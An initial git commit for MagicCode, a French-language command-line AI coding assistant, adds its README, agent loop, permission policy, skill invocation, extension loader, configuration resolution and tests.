Initial commit

This commit is contained in:
Arnaud 2026-10-11 02:11:20 +02:00
commit bfcd56cd36
66 changed files with 5670 additions and 0 deletions

5
.gitignore vendored Normal file
View file

@ -0,0 +1,5 @@
node_modules
dist
*.log
.env
btp_AI.json

93
README.md Normal file
View file

@ -0,0 +1,93 @@
# MagicCode
Assistant IA en ligne de commande. Le **mode** (comportement de l'agent) vient d'une **extension**,
le **LLM** se choisit indépendamment, l'interface utilise **Clack**.
## Démarrer
```bash
pnpm install
cp btp_AI_tpl.json btp_AI.json # puis renseigner url, basic, serviceurls.AI_API_URL
pnpm dev # mode claudecode ; le modèle est choisi dans la liste au démarrage
pnpm dev -- --model sapaicore:anthropic--claude-4.5-sonnet
pnpm dev -- --model anthropic:opus # API Anthropic directe (ANTHROPIC_API_KEY)
pnpm test # test de la boucle agent (provider factice)
pnpm build && node packages/cli/dist/index.js
```
## Lancer MagicCode depuis un autre dossier
`pnpm dev` s'exécute depuis la racine du dépôt : le dossier de travail est alors cette racine (`./btp_AI.json`, `./CLAUDE.md`… y sont cherchés).
Pour utiliser MagicCode sur un autre projet `./X`, lancez-le depuis `./X` :
```bash
pnpm build
cd packages/cli && pnpm link --global # une fois : installe la commande `magiccode`
cd ~/X && magiccode # le dossier de travail est ~/X
# ou sans installer : cd ~/X && node /chemin/vers/magiccode/packages/cli/dist/index.js
# ou en développement : MAGICCODE_CWD=~/X pnpm --dir /chemin/vers/magiccode dev
```
Pourquoi pas `pnpm --filter … dev` : pnpm exécute alors le script depuis `packages/cli`, pas depuis le dossier où vous avez tapé la commande. MagicCode
tient compte de `MAGICCODE_CWD`, puis de `INIT_CWD` (dossier où pnpm/npm a été lancé), puis de `process.cwd()`.
## Architecture
| Paquet | Rôle |
| --- | --- |
| `core` | Contrats (`LLMProvider`, `AgentMode`, `Extension`, `Tool`, `AgentUI`), boucle agent, registre, chargement des extensions |
| `providers` | Adaptateurs LLM : `sapaicore` (premier provider, voir ci-dessous), `anthropic` (direct), `openai` et `ollama` (à faire) |
| `ui` | Interface Clack (saisies, spinner, confirmations) |
| `ext-claudecode` | Mode par défaut : CLAUDE.md, dossiers `.claude` (settings, commandes, skills) + outils Read/Glob/Grep/Write/Edit/Bash |
| `cli` | Point d'entrée : configuration, extensions, boucle de conversation |
Résolution du mode et du modèle (le modèle n'a pas de défaut : s'il n'est pas défini, il est demandé) : flags CLI > variables `MAGICCODE_MODE` / `MAGICCODE_MODEL`
> `.magiccode/config.json` (projet) > `~/.magiccode/config.json` > défauts.
Extensions tierces : `~/.magiccode/extensions/<nom>/index.js` (export default d'un objet `Extension`).
## Dossier de base
Le dossier où MagicCode est lancé (ex. `./X`) est la base de **tous** les chemins relatifs : fichiers lus, créés ou modifiés par les outils
(Read, Write, Edit, Glob, Grep, Bash), `./btp_AI.json`, `.magiccode/config.json`, `CLAUDE.md` et `.claude/`. Un chemin complet est utilisé tel quel
(`~/…` désigne le dossier personnel). Ce dossier est capturé une fois au démarrage, affiché (« Dossier de travail : … ») et transmis aux outils et aux providers ;
les règles de permissions (`Read(./.env)`, `Edit(src/**)`) sont elles aussi relatives à ce dossier. Seuls `~/.claude` et `~/.magiccode` (config et extensions utilisateur) sont lus depuis le dossier personnel.
## Skills : appel direct avec `§`
Quel que soit le mode chargé, `§nom_du_skill [arguments]` lance un skill de l'agent (ex. `§sk_test`) ; `§` seul liste les skills disponibles.
Chaque mode expose ses skills via `ModeInitResult.skills` (contrat `AgentSkill` : `name`, `description`, `invoke(args)`), ce qui
rend l'appel indépendant du format propre à l'agent. `invoke` retourne le prompt envoyé au LLM. En mode ClaudeCode, ce prompt contient
les instructions du `SKILL.md` (avec `$ARGUMENTS` / `ARGUMENTS:`), sans passer par l'outil `Skill` du modèle. Les extensions Copilot, opencode, etc.
n'ont qu'à renvoyer leurs propres skills sous cette forme.
## Provider SAP AI Core / Generative AI Hub
Configuration : `./btp_AI.json` (ou `$MAGICCODE_BTP_CONFIG`), modèle fourni dans `btp_AI_tpl.json`.
Ne jamais versionner ce fichier (il est dans `.gitignore`).
1. OAuth client_credentials : `GET {url}/oauth/token` avec `Authorization: Basic {basic}` (token mis en cache, renouvelé sur expiration ou HTTP 401).
2. Découverte : `GET {AI_API_URL}/v2/lm/deployments` (header `AI-Resource-Group`, `default` sauf `resourceGroup` dans le JSON).
3. Appel du modèle sur son `deploymentUrl` selon la famille : Claude → `/converse` (Bedrock), GPT → `/chat/completions` (Azure OpenAI). Les autres familles (Gemini, embeddings…) sont ignorées.
Choix du modèle : au démarrage (sauf si `--model`, `MAGICCODE_MODEL` ou une config le définit), MagicCode interroge
tous les providers (déploiements SAP AI Core, et API Anthropic si `ANTHROPIC_API_KEY` est définie) et demande de choisir
le modèle de la session. `/model` rouvre cette liste en cours de session (la conversation est conservée).
Un provider injoignable donne un avertissement sans bloquer les autres. Spécification explicite : `sapaicore:<nom du déploiement>`.
## Extension ClaudeCode : dossiers `.claude` (lot 2)
Les dossiers `.claude` sont lus dans cet ordre (le plus spécifique l'emporte) : `~/.claude`, puis ceux de la racine jusqu'au dossier courant.
- **`settings.json` / `settings.local.json`** : `permissions.allow|ask|deny` au format Claude Code (`Bash(npm run test:*)`, `Edit(src/**)`, `Read(./.env)`, `Write`) et `env` (transmis à Bash). Priorité deny > ask > allow. Pour Bash, une règle allow ne couvre une commande composée (`&&`, `;`, `|`) que si chaque partie est autorisée, et jamais une commande avec redirection ou substitution (`>`, `$(…)`, backticks). Les règles deny sont du « meilleur effort » : elles ne remplacent pas un vrai bac à sable.
- **`commands/**/*.md`** : slash-commandes. `$ARGUMENTS`, `$1`…`$9` ; en-tête `description` et `argument-hint`. Un sous-dossier préfixe le nom (`commands/git/commit.md` → `/git:commit`). Les noms `help`, `clear`, `mode`, `model`, `exit` sont réservés.
- **`skills/<nom>/SKILL.md`** : en-tête `name` et `description`. Seule la liste est mise dans le prompt ; le contenu est chargé à la demande par l'outil `Skill`.
## Reste à faire
- Provider SAP AI Core : streaming (actuellement une réponse complète par appel), autres familles (Gemini), validation sur un vrai service
- `ext-claudecode` : lots 1 et 2 terminés (Glob/Grep en JS pur sans ripgrep ; à l'initialisation, ce qui est trouvé et chargé est listé, sinon un avertissement). Pas encore gérés dans les commandes : `allowed-tools`, `model`, `@fichier`, `!`commande``
- `ext-claudecode` lot 3 : TodoWrite, WebFetch, sous-agents, hooks, MCP
- Providers OpenAI et Ollama
- Sessions (reprise), compaction du contexte, annulation (AbortSignal) depuis l'UI

8
btp_AI_tpl.json Normal file
View file

@ -0,0 +1,8 @@
{
"url": "https://<subdomain>.authentication.<region>.hana.ondemand.com",
"basic": "<base64(clientid:clientsecret)>",
"serviceurls": {
"AI_API_URL": "https://api.ai.<...>.ml.hana.ondemand.com"
},
"resourceGroup": "default"
}

22
package.json Normal file
View file

@ -0,0 +1,22 @@
{
"name": "magiccode-monorepo",
"private": true,
"type": "module",
"packageManager": "pnpm@9.12.0",
"engines": {
"node": ">=20"
},
"scripts": {
"dev": "tsx packages/cli/src/index.ts",
"build": "pnpm --filter @magiccode/cli build",
"typecheck": "pnpm -r typecheck",
"test": "vitest run"
},
"devDependencies": {
"@types/node": "^22.0.0",
"tsup": "^8.3.0",
"tsx": "^4.19.0",
"typescript": "^5.6.0",
"vitest": "^2.1.0"
}
}

26
packages/cli/package.json Normal file
View file

@ -0,0 +1,26 @@
{
"name": "@magiccode/cli",
"version": "0.1.0",
"type": "module",
"bin": {
"magiccode": "dist/index.js"
},
"scripts": {
"dev": "tsx src/index.ts",
"build": "tsup",
"typecheck": "tsc -p ."
},
"dependencies": {
"@anthropic-ai/sdk": "^0.40.0",
"@clack/prompts": "^0.9.0",
"@magiccode/core": "workspace:*",
"@magiccode/ext-claudecode": "workspace:*",
"@magiccode/providers": "workspace:*",
"@magiccode/ui": "workspace:*",
"ignore": "^6.0.2",
"picomatch": "^3.0.1"
},
"devDependencies": {
"@types/picomatch": "^3.0.1"
}
}

View file

@ -0,0 +1,35 @@
import { readFile } from "node:fs/promises";
import { join } from "node:path";
export interface MagicCodeConfig {
mode?: string;
model?: string;
}
export const DEFAULT_MODE = "claudecode"; // mode par défaut : extension ClaudeCode
async function readJson(path: string): Promise<MagicCodeConfig> {
try {
return JSON.parse(await readFile(path, "utf8")) as MagicCodeConfig;
} catch {
return {};
}
}
/** Priorité : flags CLI > variables d'environnement > config projet > config utilisateur > défauts. */
export async function resolveConfig(opts: {
cwd: string;
homeDir: string;
flags: MagicCodeConfig;
}): Promise<{ mode: string; model?: string }> {
const user = await readJson(join(opts.homeDir, ".magiccode", "config.json"));
const project = await readJson(join(opts.cwd, ".magiccode", "config.json"));
const env: MagicCodeConfig = {
mode: process.env.MAGICCODE_MODE,
model: process.env.MAGICCODE_MODEL,
};
const pick = (k: keyof MagicCodeConfig): string | undefined =>
opts.flags[k] ?? env[k] ?? project[k] ?? user[k];
// Pas de modèle par défaut : s'il n'est pas défini explicitement, l'utilisateur le choisit au démarrage.
return { mode: pick("mode") ?? DEFAULT_MODE, model: pick("model") };
}

232
packages/cli/src/index.ts Normal file
View file

@ -0,0 +1,232 @@
import { homedir } from "node:os";
import { join } from "node:path";
import { parseArgs } from "node:util";
import {
ModeRegistry,
activateExtensions,
createSession,
discoverUserExtensions,
findSkill,
parseSkillInvocation,
runTurn,
type AgentSession,
} from "@magiccode/core";
import { claudeCodeExtension } from "@magiccode/ext-claudecode";
import { createProvider, loadModelChoices } from "@magiccode/providers";
import { ClackUI } from "@magiccode/ui";
import { resolveConfig } from "./config";
import { resolveLaunchDir } from "./launch-dir";
const HELP = `MagicCode — assistant IA en ligne de commande
Usage : magiccode [options]
--mode <id> Mode de fonctionnement (défaut : claudecode)
--model <spec> Modèle de la session, ex. sapaicore:anthropic--claude-4.5-sonnet
Sans cette option, la liste des modèles disponibles est proposée au démarrage.
-h, --help Affiche cette aide
Commandes en session : /help /mode /model /clear /exit
Skills de l'agent : §nom_du_skill [arguments] (§ seul : liste des skills)`;
async function main(): Promise<void> {
const { values } = parseArgs({
options: {
mode: { type: "string" },
model: { type: "string" },
help: { type: "boolean", short: "h" },
},
});
if (values.help) {
console.log(HELP);
return;
}
// Dossier de lancement (voir launch-dir.ts) : base de tous les chemins relatifs
const cwd = resolveLaunchDir();
try {
process.chdir(cwd);
} catch (err) {
console.error(`Dossier de lancement inaccessible : ${cwd} (${(err as Error).message})`);
process.exitCode = 1;
return;
}
const homeDir = homedir();
const ui = new ClackUI();
// 1. Extensions : ClaudeCode est embarquée et toujours activée, les autres viennent de ~/.magiccode/extensions
const registry = new ModeRegistry();
const userExtensions = await discoverUserExtensions(join(homeDir, ".magiccode", "extensions"));
await activateExtensions(registry, [claudeCodeExtension, ...userExtensions], (m) => ui.error(m));
// 2. Configuration
const config = await resolveConfig({
cwd,
homeDir,
flags: { mode: values.mode, model: values.model },
});
/**
* Charge les modèles disponibles auprès de tous les providers, puis demande à l'utilisateur
* d'en choisir un. Retourne null si rien n'est disponible ou si l'utilisateur annule.
*/
const pickModel = async (current?: string): Promise<string | null> => {
const { choices, errors } = await ui.withSpinner(
"Chargement des modèles disponibles…",
() => loadModelChoices({ baseDir: cwd }),
"Modèles chargés",
);
for (const e of errors) ui.warn(e);
if (choices.length === 0) {
ui.error(
"Aucun modèle disponible. Renseignez ./btp_AI.json (SAP AI Core) ou définissez ANTHROPIC_API_KEY.",
);
return null;
}
return ui.select("Modèle", choices, current);
};
const startSession = async (modeId: string, modelSpec: string): Promise<AgentSession> => {
const mode = registry.getMode(modeId);
if (!mode) {
const ids = registry.listModes().map((m) => m.id).join(", ");
throw new Error(`Mode inconnu : "${modeId}" (disponibles : ${ids})`);
}
const init = await mode.initialize({
cwd,
homeDir,
log: (m) => ui.info(m),
warn: (m) => ui.warn(m),
});
return createSession({ provider: createProvider(modelSpec, { baseDir: cwd }), init, ui, cwd });
};
ui.intro("MagicCode");
// Dossier de lancement : base de tous les chemins relatifs (fichiers lus, créés, configuration)
ui.info(`Dossier de travail : ${cwd}`);
// 3. Modèle de la session : explicite (flag, variable d'environnement, config) sinon choisi par l'utilisateur
let modelSpec = config.model;
if (!modelSpec) {
const picked = await pickModel();
if (!picked) {
ui.outro("Aucun modèle choisi");
process.exitCode = 1;
return;
}
modelSpec = picked;
}
let modeId = config.mode;
let session: AgentSession;
try {
session = await startSession(modeId, modelSpec);
} catch (err) {
ui.error((err as Error).message);
process.exitCode = 1;
return;
}
ui.info(`Mode : ${modeId} · Modèle : ${modelSpec}`);
// 4. Boucle de conversation
for (;;) {
const input = await ui.readInput();
if (input === null || input === "/exit") break;
if (!input) continue;
let prompt = input;
const skillCall = parseSkillInvocation(input);
if (skillCall) {
// Appel direct d'un skill de l'agent chargé : §nom [arguments]
if (!skillCall.name) {
ui.info(
session.skills.length > 0
? ["Skills disponibles :", ...session.skills.map((s) => ` §${s.name} — ${s.description}`)].join("\n")
: "Aucun skill disponible pour ce mode.",
);
continue;
}
const skill = findSkill(session.skills, skillCall.name);
if (!skill) {
const names = session.skills.map((s) => `§${s.name}`).join(", ") || "aucun";
ui.error(`Skill inconnu : §${skillCall.name} (disponibles : ${names})`);
continue;
}
try {
prompt = await skill.invoke(skillCall.args);
} catch (err) {
ui.error(`Échec du lancement du skill §${skill.name} : ${(err as Error).message}`);
continue;
}
ui.info(`Skill lancé : §${skill.name}`);
} else if (input.startsWith("/")) {
const [name = "", ...rest] = input.slice(1).split(" ");
const args = rest.join(" ");
if (name === "help") {
const custom = session.commands.map(
(c) => `/${c.name}${c.argumentHint ? ` ${c.argumentHint}` : ""} — ${c.description}`,
);
const skills = session.skills.map((s) => `§${s.name} — ${s.description}`);
ui.info([HELP, ...custom, ...skills].join("\n"));
continue;
}
if (name === "clear") {
session.messages.length = 0;
ui.info("Conversation réinitialisée");
continue;
}
if (name === "mode") {
const choice = await ui.select(
"Mode de fonctionnement",
registry.listModes().map((m) => ({ value: m.id, label: m.name, hint: m.description })),
modeId,
);
if (choice) {
try {
session = await startSession(choice, modelSpec);
modeId = choice;
ui.info(`Mode actif : ${modeId} (conversation réinitialisée)`);
} catch (err) {
ui.error((err as Error).message);
}
}
continue;
}
if (name === "model") {
// Recharge la liste (les déploiements ont pu changer) ; la conversation en cours est conservée.
const choice = await pickModel(modelSpec);
if (choice && choice !== modelSpec) {
try {
session.provider = createProvider(choice, { baseDir: cwd });
modelSpec = choice;
ui.info(`Modèle actif : ${modelSpec}`);
} catch (err) {
ui.error((err as Error).message);
}
}
continue;
}
const custom = session.commands.find((c) => c.name === name);
if (!custom) {
ui.error(`Commande inconnue : /${name}`);
continue;
}
prompt = custom.prompt(args);
}
try {
await runTurn(session, prompt);
} catch (err) {
ui.error((err as Error).message);
}
}
ui.outro("À bientôt");
}
main().catch((err) => {
console.error(err);
process.exit(1);
});

View file

@ -0,0 +1,22 @@
import { describe, expect, it } from "vitest";
import { resolveLaunchDir } from "./launch-dir";
describe("resolveLaunchDir", () => {
const pkg = "/repo/packages/cli";
it("lancement direct : process.cwd()", () => {
expect(resolveLaunchDir({}, "/home/u/X")).toBe("/home/u/X");
});
it("via pnpm : INIT_CWD l'emporte sur le dossier du paquet", () => {
expect(resolveLaunchDir({ INIT_CWD: "/repo" }, pkg)).toBe("/repo");
});
it("MAGICCODE_CWD l'emporte sur INIT_CWD", () => {
expect(resolveLaunchDir({ MAGICCODE_CWD: "/work/X", INIT_CWD: "/repo" }, pkg)).toBe("/work/X");
});
it("MAGICCODE_CWD relatif : résolu depuis le dossier courant", () => {
expect(resolveLaunchDir({ MAGICCODE_CWD: "../X" }, "/home/u/Y")).toBe("/home/u/X");
});
});

View file

@ -0,0 +1,17 @@
import { resolve } from "node:path";
/**
* Dossier de lancement de MagicCode = base de tous les chemins relatifs.
*
* pnpm/npm exécutent les scripts depuis le dossier du paquet (ex. packages/cli) et non depuis le dossier
* où la commande a été tapée : process.cwd() n'est alors pas le bon dossier. Priorité :
* 1. MAGICCODE_CWD : choix explicite ;
* 2. INIT_CWD : dossier où pnpm/npm a été lancé ;
* 3. process.cwd() : lancement direct (binaire `magiccode`, `node …/dist/index.js`).
*/
export function resolveLaunchDir(
env: NodeJS.ProcessEnv = process.env,
cwd: string = process.cwd(),
): string {
return resolve(cwd, env.MAGICCODE_CWD || env.INIT_CWD || ".");
}

View file

@ -0,0 +1,4 @@
{
"extends": "../../tsconfig.base.json",
"include": ["src"]
}

View file

@ -0,0 +1,11 @@
import { defineConfig } from "tsup";
export default defineConfig({
entry: ["src/index.ts"],
format: ["esm"],
target: "node20",
clean: true,
// Les paquets du workspace sont embarqués dans le bundle ; les dépendances npm restent externes.
noExternal: [/^@magiccode\//],
banner: { js: "#!/usr/bin/env node" },
});

View file

@ -0,0 +1,8 @@
{
"name": "@magiccode/core",
"version": "0.1.0",
"type": "module",
"main": "src/index.ts",
"types": "src/index.ts",
"scripts": { "typecheck": "tsc -p ." }
}

View file

@ -0,0 +1,103 @@
import { describe, expect, it } from "vitest";
import { createSession, runTurn } from "./agent";
import type { AgentUI, LLMProvider, PermissionPolicy, StreamEvent, Tool } from "./types";
const silentUI: AgentUI = {
onThinking() {},
onText() {},
onTextEnd() {},
onToolCall() {},
onToolResult() {},
confirm: async () => true,
};
/** Provider factice : 1er appel → demande d'outil, 2e appel → réponse texte. */
function fakeProvider(toolName = "echo"): LLMProvider {
let call = 0;
return {
id: "fake",
model: "fake",
capabilities: { tools: true },
async *chat(): AsyncIterable<StreamEvent> {
call++;
if (call === 1) {
yield { type: "tool_use", id: "t1", name: toolName, input: { value: "salut" } };
yield { type: "done", stopReason: "tool_use" };
} else {
yield { type: "text_delta", text: "terminé" };
yield { type: "done", stopReason: "end_turn" };
}
},
};
}
describe("runTurn", () => {
it("exécute l'outil demandé puis renvoie la réponse finale", async () => {
const echo: Tool = {
spec: { name: "echo", description: "echo", inputSchema: { type: "object" } },
permission: "auto",
execute: async (input) => String(input.value),
};
const session = createSession({
provider: fakeProvider(),
init: { systemPrompt: "test", tools: [echo] },
ui: silentUI,
cwd: process.cwd(),
});
await runTurn(session, "bonjour");
// user, assistant(tool_use), user(tool_result), assistant(texte)
expect(session.messages).toHaveLength(4);
expect(session.messages[2]?.content[0]).toMatchObject({
type: "tool_result",
content: "salut",
});
});
});
describe("politique de permissions", () => {
const makeTool = (ran: string[]): Tool => ({
spec: { name: "danger", description: "d", inputSchema: { type: "object" } },
permission: "ask",
execute: async () => {
ran.push("x");
return "ok";
},
});
const policy = (decision: "allow" | "ask" | "deny"): PermissionPolicy => ({
check: () => ({ decision, reason: "règle de test" }),
});
async function run(decision: "allow" | "ask" | "deny", answer: boolean) {
const ran: string[] = [];
const confirms: string[] = [];
const session = createSession({
provider: fakeProvider("danger"),
init: { systemPrompt: "t", tools: [makeTool(ran)], permissions: policy(decision) },
ui: { ...silentUI, confirm: async (m) => (confirms.push(m), answer) },
cwd: process.cwd(),
});
await runTurn(session, "go");
return { ran, confirms, session };
}
it("allow : exécute sans confirmation", async () => {
const { ran, confirms } = await run("allow", false);
expect(ran).toHaveLength(1);
expect(confirms).toHaveLength(0);
});
it("deny : refuse sans demander", async () => {
const { ran, confirms, session } = await run("deny", true);
expect(ran).toHaveLength(0);
expect(confirms).toHaveLength(0);
expect(session.messages[2]?.content[0]).toMatchObject({ type: "tool_result", isError: true });
});
it("ask : demande confirmation même pour un outil automatique", async () => {
const { ran, confirms } = await run("ask", true);
expect(confirms).toHaveLength(1);
expect(ran).toHaveLength(1);
});
});

153
packages/core/src/agent.ts Normal file
View file

@ -0,0 +1,153 @@
import type {
AgentSkill,
AgentUI,
ContentBlock,
LLMProvider,
Message,
ModeInitResult,
PermissionPolicy,
SlashCommand,
Tool,
} from "./types";
export interface AgentSession {
provider: LLMProvider;
system: string;
tools: Map<string, Tool>;
commands: SlashCommand[];
skills: AgentSkill[];
permissions?: PermissionPolicy;
env?: Record<string, string>;
messages: Message[];
ui: AgentUI;
cwd: string;
}
export function createSession(opts: {
provider: LLMProvider;
init: ModeInitResult;
ui: AgentUI;
cwd: string;
}): AgentSession {
return {
provider: opts.provider,
system: opts.init.systemPrompt,
tools: new Map(opts.init.tools.map((t) => [t.spec.name, t])),
commands: opts.init.commands ?? [],
skills: opts.init.skills ?? [],
permissions: opts.init.permissions,
env: opts.init.env,
messages: [],
ui: opts.ui,
cwd: opts.cwd,
};
}
const MAX_ITERATIONS = 25;
type ToolUseBlock = Extract<ContentBlock, { type: "tool_use" }>;
/** Un tour complet : message utilisateur → (LLM → outils)* → réponse finale. */
export async function runTurn(
session: AgentSession,
userText: string,
signal?: AbortSignal,
): Promise<void> {
const { ui } = session;
session.messages.push({ role: "user", content: [{ type: "text", text: userText }] });
for (let i = 0; i < MAX_ITERATIONS; i++) {
const assistant: ContentBlock[] = [];
let text = "";
ui.onThinking(true);
let first = true;
try {
for await (const ev of session.provider.chat(
{
system: session.system,
messages: session.messages,
tools: [...session.tools.values()].map((t) => t.spec),
},
signal,
)) {
if (first) {
ui.onThinking(false);
first = false;
}
if (ev.type === "text_delta") {
text += ev.text;
ui.onText(ev.text);
} else if (ev.type === "tool_use") {
assistant.push({ type: "tool_use", id: ev.id, name: ev.name, input: ev.input });
}
// "done" : la fin du flux suffit, les appels d'outils décident de la suite
}
} finally {
if (first) ui.onThinking(false);
}
if (text) {
ui.onTextEnd();
assistant.unshift({ type: "text", text });
}
session.messages.push({ role: "assistant", content: assistant });
const calls = assistant.filter((b): b is ToolUseBlock => b.type === "tool_use");
if (calls.length === 0) return;
const results: ContentBlock[] = [];
for (const call of calls) {
results.push(await executeToolCall(session, call, signal));
}
session.messages.push({ role: "user", content: results });
}
session.ui.onToolResult("agent", `Arrêt : plus de ${MAX_ITERATIONS} itérations`, true);
}
async function executeToolCall(
session: AgentSession,
call: ToolUseBlock,
signal?: AbortSignal,
): Promise<ContentBlock> {
const { ui } = session;
const tool = session.tools.get(call.name);
const result = (content: string, isError = false): ContentBlock => ({
type: "tool_result",
toolUseId: call.id,
content,
isError,
});
if (!tool) return result(`Outil inconnu : ${call.name}`, true);
const summary = tool.describe?.(call.input) ?? JSON.stringify(call.input).slice(0, 120);
ui.onToolCall(call.name, summary);
// Les règles du mode (deny > ask > allow) priment sur la permission par défaut de l'outil
const verdict = session.permissions?.check(call.name, call.input, { cwd: session.cwd });
if (verdict?.decision === "deny") {
const why = verdict.reason ? ` (${verdict.reason})` : "";
ui.onToolResult(call.name, `Refusé par la configuration${why}`, true);
return result(`Action refusée par les règles de permissions${why}. Ne réessaie pas telle quelle.`, true);
}
const needsConfirm = verdict ? verdict.decision === "ask" : tool.permission === "ask";
if (needsConfirm) {
const ok = await ui.confirm(`Autoriser ${call.name} : ${summary} ?`);
if (!ok) {
ui.onToolResult(call.name, "Refusé par l'utilisateur", true);
return result("L'utilisateur a refusé cette action.", true);
}
}
try {
const output = await tool.execute(call.input, { cwd: session.cwd, signal, env: session.env });
ui.onToolResult(call.name, output, false);
return result(output);
} catch (err) {
const msg = (err as Error).message;
ui.onToolResult(call.name, msg, true);
return result(msg, true);
}
}

View file

@ -0,0 +1,48 @@
import { readdir, stat } from "node:fs/promises";
import { join } from "node:path";
import { pathToFileURL } from "node:url";
import type { Extension } from "./types";
import type { ModeRegistry } from "./registry";
/** Active les extensions : chacune enregistre ses modes via l'API. */
export async function activateExtensions(
registry: ModeRegistry,
extensions: Extension[],
onError: (message: string) => void = () => {},
): Promise<void> {
for (const ext of extensions) {
try {
await ext.activate({
registerMode: (mode) => registry.registerMode(mode, ext.id),
});
} catch (err) {
onError(`Extension "${ext.id}" : échec d'activation (${(err as Error).message})`);
}
}
}
/**
* Découvre les extensions utilisateur : ~/.magiccode/extensions/<nom>/index.js
* (export default d'un objet Extension).
*/
export async function discoverUserExtensions(dir: string): Promise<Extension[]> {
let names: string[];
try {
names = await readdir(dir);
} catch {
return [];
}
const found: Extension[] = [];
for (const name of names) {
const entry = join(dir, name, "index.js");
try {
await stat(entry);
const mod = await import(pathToFileURL(entry).href);
const ext = (mod.default ?? mod.extension) as Extension | undefined;
if (ext && typeof ext.activate === "function") found.push(ext);
} catch {
// extension illisible : ignorée
}
}
return found;
}

View file

@ -0,0 +1,5 @@
export * from "./types";
export * from "./registry";
export * from "./extensions";
export * from "./agent";
export * from "./skills";

View file

@ -0,0 +1,20 @@
import type { AgentMode } from "./types";
export class ModeRegistry {
private modes = new Map<string, { mode: AgentMode; source: string }>();
registerMode(mode: AgentMode, source: string): void {
if (this.modes.has(mode.id)) {
throw new Error(`Mode "${mode.id}" déjà enregistré`);
}
this.modes.set(mode.id, { mode, source });
}
getMode(id: string): AgentMode | undefined {
return this.modes.get(id)?.mode;
}
listModes(): AgentMode[] {
return [...this.modes.values()].map((e) => e.mode);
}
}

View file

@ -0,0 +1,31 @@
import { describe, expect, it } from "vitest";
import { findSkill, parseSkillInvocation } from "./skills";
import type { AgentSkill } from "./types";
describe("parseSkillInvocation", () => {
it("reconnaît §nom avec ou sans arguments", () => {
expect(parseSkillInvocation("§sk_test")).toEqual({ name: "sk_test", args: "" });
expect(parseSkillInvocation(" §sk_test lance sur src/ ")).toEqual({
name: "sk_test",
args: "lance sur src/",
});
});
it("§ seul : nom vide (liste des skills)", () => {
expect(parseSkillInvocation("§")).toEqual({ name: "", args: "" });
});
it("ignore les autres saisies", () => {
expect(parseSkillInvocation("bonjour §sk_test")).toBeNull();
expect(parseSkillInvocation("/help")).toBeNull();
});
});
describe("findSkill", () => {
const skills: AgentSkill[] = [{ name: "Sk_Test", description: "d", invoke: () => "p" }];
it("exact puis insensible à la casse", () => {
expect(findSkill(skills, "Sk_Test")).toBe(skills[0]);
expect(findSkill(skills, "sk_test")).toBe(skills[0]);
expect(findSkill(skills, "autre")).toBeUndefined();
});
});

View file

@ -0,0 +1,21 @@
import type { AgentSkill } from "./types";
/** Préfixe d'appel direct d'un skill : "§nom_du_skill [arguments]". */
export const SKILL_PREFIX = "§";
/**
* Reconnaît un appel de skill. Retourne null si la saisie n'en est pas un ;
* `name` vaut "" pour un "§" seul (liste des skills).
*/
export function parseSkillInvocation(input: string): { name: string; args: string } | null {
const text = input.trim();
if (!text.startsWith(SKILL_PREFIX)) return null;
const m = /^§(\S*)\s*([\s\S]*)$/.exec(text);
return m ? { name: m[1] ?? "", args: (m[2] ?? "").trim() } : null;
}
/** Nom exact, sinon insensible à la casse. */
export function findSkill(skills: AgentSkill[], name: string): AgentSkill | undefined {
const lower = name.toLowerCase();
return skills.find((s) => s.name === name) ?? skills.find((s) => s.name.toLowerCase() === lower);
}

152
packages/core/src/types.ts Normal file
View file

@ -0,0 +1,152 @@
// ─────────────────────────────────────────────────────────────
// Contrats de MagicCode. Tout le reste du projet en dépend.
// ─────────────────────────────────────────────────────────────
// ---------- Messages (format neutre, indépendant des providers) ----------
export type ContentBlock =
| { type: "text"; text: string }
| { type: "tool_use"; id: string; name: string; input: Record<string, unknown> }
| { type: "tool_result"; toolUseId: string; content: string; isError?: boolean };
export interface Message {
role: "user" | "assistant";
content: ContentBlock[];
}
// ---------- LLMProvider ----------
export interface ToolSpec {
name: string;
description: string;
/** JSON Schema de l'entrée de l'outil. */
inputSchema: Record<string, unknown>;
}
export interface ChatRequest {
system: string;
messages: Message[];
tools: ToolSpec[];
maxTokens?: number;
}
export type StopReason = "end_turn" | "tool_use" | "max_tokens" | "other";
/** Événements de streaming normalisés, identiques pour tous les providers. */
export type StreamEvent =
| { type: "text_delta"; text: string }
| { type: "tool_use"; id: string; name: string; input: Record<string, unknown> }
| { type: "done"; stopReason: StopReason };
export interface LLMProvider {
/** ex: "anthropic", "openai", "ollama" */
readonly id: string;
/** Identifiant réel du modèle chez le fournisseur. */
readonly model: string;
readonly capabilities: { tools: boolean };
chat(req: ChatRequest, signal?: AbortSignal): AsyncIterable<StreamEvent>;
}
// ---------- Outils ----------
export interface ToolContext {
cwd: string;
signal?: AbortSignal;
/** Variables d'environnement additionnelles (ex. `env` de .claude/settings.json). */
env?: Record<string, string>;
}
// ---------- Permissions ----------
export interface PermissionDecision {
/** allow : exécuter sans confirmation · ask : demander · deny : refuser sans demander. */
decision: "allow" | "ask" | "deny";
reason?: string;
}
/** Politique fournie par un mode ; retourne null quand aucune règle ne s'applique (comportement par défaut de l'outil). */
export interface PermissionPolicy {
check(toolName: string, input: Record<string, unknown>, ctx: { cwd: string }): PermissionDecision | null;
}
export interface Tool {
spec: ToolSpec;
/** "ask" : l'UI doit demander confirmation avant exécution. */
permission: "auto" | "ask";
/** Résumé court affiché dans l'UI et dans la demande de confirmation. */
describe?(input: Record<string, unknown>): string;
execute(input: Record<string, unknown>, ctx: ToolContext): Promise<string>;
}
// ---------- UI (implémentée par le package `ui`, jamais importée par le core) ----------
export interface AgentUI {
onThinking(active: boolean): void;
onText(text: string): void;
onTextEnd(): void;
onToolCall(name: string, summary: string): void;
onToolResult(name: string, output: string, isError: boolean): void;
confirm(message: string): Promise<boolean>;
}
// ---------- Modes & extensions ----------
/** Commande slash fournie par un mode : elle se transforme en prompt envoyé au LLM. */
export interface SlashCommand {
name: string;
description: string;
/** Aide à la saisie des arguments, ex. "[message]". */
argumentHint?: string;
prompt(args: string): string;
}
/**
* Skill d'un agent, indépendant du format propre à cet agent (SKILL.md de ClaudeCode, etc.).
* L'utilisateur le lance avec "§nom [arguments]", quel que soit le mode chargé.
*/
export interface AgentSkill {
name: string;
description: string;
/** Construit le prompt qui lance le skill (instructions du skill + arguments), envoyé ensuite au LLM. */
invoke(args: string): string | Promise<string>;
}
export interface InitContext {
cwd: string;
homeDir: string;
/** Information à l'utilisateur. */
log(message: string): void;
/** Avertissement à l'utilisateur (non bloquant). */
warn(message: string): void;
}
